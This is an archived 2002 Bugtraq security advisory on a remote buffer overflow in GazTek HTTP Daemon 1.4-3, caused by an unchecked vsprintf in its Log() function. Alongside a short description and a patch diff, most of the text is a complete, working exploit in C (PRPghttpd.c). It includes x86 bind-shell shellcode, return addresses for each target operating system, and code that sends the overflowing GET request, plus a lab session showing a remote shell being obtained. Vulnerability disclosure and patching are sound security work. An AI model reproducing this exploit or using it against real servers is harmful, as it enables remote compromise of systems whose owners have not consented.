81166 2002-10-15 00:38 /455 rader/ <pyramid-rp@hushmail.com> Importerad: 2002-10-15 00:38 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <1923> Ärende: Pyramid Research Project - ghttpd security advisorie ------------------------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -=================================================================- SECURITY ADVISORY PYR/\MID, Research Project - 100702 Members: Apm, flea, thread Title: GazTek HTTP Daemon v1.4-3 Buffer Overflow Author: flea Vulnerable GazTek HTTP Daemon <= v1.4-3 Problem: Buffer Overflow Remote: Yes Release: October 7, 2002 Vendor: Contacted Exploit: PRPghttpd.c - -=================================================================- - - Package Overview =================== Ghttpd is a fast and efficient HTTP server that has CGI support. Ghttpd has a small memory inprint and is capable of handling thousands of simultanious connections. It is ideal for large and small websites. - - Issue Specifics ================== Ghttpd server contains a remotely exploitable buffer overflow which allows an attacker to gain ghttpd's previleges. The overflow occurs when a long "GET <buffer>" query is sent trough a session and this is logged by the function Log(): protocol.c:103: Log("Connection from %s, request = \"GET %s\"", inet_ntoa(sa.sin_addr), ptr); While executing the Log() function a buffer is copied without checking boundries resulting in a buffer overflow: util.c:208: void Log(char *format, ...) util.c:213: char temp[200], temp2[200], logfilename[255]; util.c:219: vsprintf(temp, format, ap); This flaw was detected in the latest ghttpd version(1.4-3) but it's likely that the problem exists in previous versions as well, altough this was not tested. A proof of concept exploit was coded for ghttpd servers running on "i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1" operating systems. [root@testlab httpd]# uname -a Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown [root@testlab ghttpd]# cat /etc/issue Red Hat Linux release 7.3 (Valhalla) [root@testlab httpd]# ls -al ghttpd - -rwxr-xr-x 1 nobody nobody 34687 Sep 27 02:04 ghttpd [root@testlab httpd]# id uid=0(root) gid=0(root) groups=0(root), 1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [root@testlab httpd]# ./ghttpd [root@testlab httpd]# ghttpd launched into background, PID = 851 [root@testlab httpd]# ./PRPghttpd -b 127.0.0.1 Server: GazTek HTTP Daemon v1.4 [flea@testlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1 target: 127.0.0.1 arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0 ip size: 9 bytes Adjust: 0 bytes buffer size: 204 bytes bind shellcode size: 128 bytes bind shell tcp port: 36864 Injecting code at 0xbfffb9c0... Done! [flea@testlab httpd]$ telnet localhost 36864 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. id; uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) : command not found - - Temporary Patch ================== Another similar bug affects the Log() function, so here's a temporary fix for both. +++ util.c Sat Sep 28 01:26:33 2002 @@ -210,12 +210,16 @@ FILE *logfile; time_t t; struct tm *tm; - - char temp[200], temp2[200], logfilename[255]; + char *temp, *temp2; + char logfilename[255]; char datetime[] = "[%d.%m.%Y] [%H:%M.%S]"; char datetime_final[128]; va_list ap; va_start(ap, format); // format it all into temp + + /* temp[200] overflow patch */ + temp = malloc(strlen(format)+1024); - - vsprintf(temp, format, ap); + vsnprintf(temp, strlen(format)+1024, format, ap); va_end(ap); @@ -225,6 +229,8 @@ strftime(datetime_final, 127, datetime, tm); // format it all so we have date/time/loginfo + /* temp2[200] overflow patch */ + temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5)); sprintf(temp2, "%s - %s\n", datetime_final, temp); sprintf(logfilename, "%s/ghttpd.log", SERVERROOT); @@ -234,4 +240,4 @@ fputs(temp2, logfile); // Save to the file fclose(logfile); // Close file - -} \ No newline at end of file +} EOF /* PRPghttpd.c This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - PYR/\MID, Research Project Author: flea Date: October 7, 2002 Members: Apm, flea, thread Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3 Works on: i386 Redhat 7.2 i386 Redhat 7.3 i386 Slackware 8.1 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define NOP 0x90 #define MIN_BUFFER_SIZE 198 #define MAX_IP_LENGHT 15 #define GAZTEK_PORT 80 #define BIND_PORT 36864 void synops(char *argv[]); int main(int argc, char *argv[]); void get_ban(char *ban_addr); #define ARCH_NUMBER 4 struct arch { int id; char *os; long addr; int adjusted_buf; } architectures[] = { {0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0}, {1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0}, {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1}, {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32} }; char bindshell[] = "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c" "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46" "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89" "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c" "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66" "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f" "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh"; void synops(char *argv[]) { int i; printf("PYR/\\MID, Research Project 02\n"); printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n"); printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]); printf("<ip> - ip address to check lenght\n"); printf("<remote> - remote target ip addr\n"); printf("<arch> - remote architecture id\n"); printf("<banner> - ip addr to check banner\n\n"); printf("Architectures id:\n"); for(i=0; i<ARCH_NUMBER; i++) printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr); exit(0); } void get_ban(char *ban_addr) { int i, sock_fd; char *read_buf, *read_buf_toked, *ptr; struct sockaddr_in target; if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1) { printf("socket() error.\n"); exit(-1); } target.sin_family = AF_INET; target.sin_port = htons(GAZTEK_PORT); if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1) { printf("\"%s\" is an invalid ip address.\n", ban_addr); exit(-1); } bzero(&(target.sin_zero), 8); if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1) { printf("connect() error.\n"); exit(-1); } if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1) { printf("write() error.\n"); exit(-1); } read_buf = malloc(256); read_buf_toked = malloc(256); if((read(sock_fd, read_buf, 256)) == -1) { printf("read() error.\n"); exit(-1); } strcpy(read_buf_toked, read_buf); ptr = strstr(read_buf_toked, "Server"); ptr = strtok(ptr, "\n"); printf("%s\n\n", ptr); printf("****** FULL HEADERS ******\n"); ptr = strtok(read_buf, "\n"); for(i=0; i<4; i++) { ptr = strtok(NULL, "\n"); printf("%s\n", ptr); } printf("****** FULL HEADERS ******\n"); exit(0); } main(int argc, char *argv[]) { int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0; char *addr, *get_buf, *get_buf_str; long ret; extern char *optarg; extern int optind, optopt; struct sockaddr_in target; if(argc == 1) synops(argv); while((c = getopt(argc, argv, "b:d:")) != -1) { switch(c) { case 'b': addr = malloc(strlen(optarg)); strcpy(addr, optarg); ban_chk++; break; case 'd': if(!(argv[optind])) errflg++; if(!(argv[optind+1])) errflg++; if(errflg == 0) { if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1)) { printf("Invalid architecture id.\n"); exit(-1); } if((inet_addr(argv[optind])) != -1) ip_lenght = strlen(argv[optind+1]); else { printf("\"%s\" is an invalid ip address.\n", argv[optind]); exit(-1); } addr = malloc(strlen(argv[optind+1])); strcpy(addr, argv[optind+1]+1); exp_flg++; } break; case ':': errflg++; break; case '?': errflg++; } } if(errflg > 0) synops(argv); /* check banner info */ if(ban_chk > 0) get_ban(addr); if(!(exp_flg)) synops(argv); /* Buffer Size Craft Relation min string size = 192 bytes string "GET _" size = 4 bytes max log ip size "255.255.255.255" = 15 bytes string "\n\n" size = 2 bytes = 198 bytes */ /* dont count with GET request and newline bytes */ c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf)); /* NULL string byte */ c_size = c_size+1; /* builds crafted buffer */ get_buf = malloc(c_size); /* counts with all constants sizes */ get_buf_str = malloc((c_size+4+2)); memset(get_buf, NOP, c_size); memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell)); *(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr; get_buf[c_size-1] = '\0'; /* final buffer, now just inject on connection */ sprintf(get_buf_str,"GET %s\n\n", get_buf); /* infos */ printf("target: %s\n", addr); printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr); printf("ip size: %d bytes\n", ip_lenght); printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf); printf("buffer size: %d bytes\n", strlen(get_buf_str)); printf("bind shellcode size: %d bytes\n", strlen(bindshell)); printf("bind shell tcp port: %d\n", BIND_PORT); printf("Injecting code at 0x%x...\n", architectures[arch_id].addr); /* start socket() */ if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1) { printf("socket() error.\n"); exit(-1); } target.sin_family = AF_INET; target.sin_port = htons(GAZTEK_PORT); if((target.sin_addr.s_addr = inet_addr(addr)) == -1) { printf("\"%s\" is an invalid ip address.\n", addr); exit(-1); } bzero(&(target.sin_zero), 8); if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1) { printf("connect() error.\n"); exit(-1); } if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1) { printf("write() error.\n"); exit(-1); } printf("Done!\n"); return 0; } -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wl8EARECAB8FAj15T9MYHHB5cmFtaWQtcnBAaHVzaG1haWwuY29tAAoJEJnK0tsmALZM 9eoAn14AUX4T1UHVPwY08H4eDqMoBmhtAKCPygPI/psdGVI3k/4zwJ1bqJ6esg== =kmgF -----END PGP SIGNATURE----- Get your free encrypted email at https://www.hushmail.com (81166) / <pyramid-rp@hushmail.com>/------(Ombruten)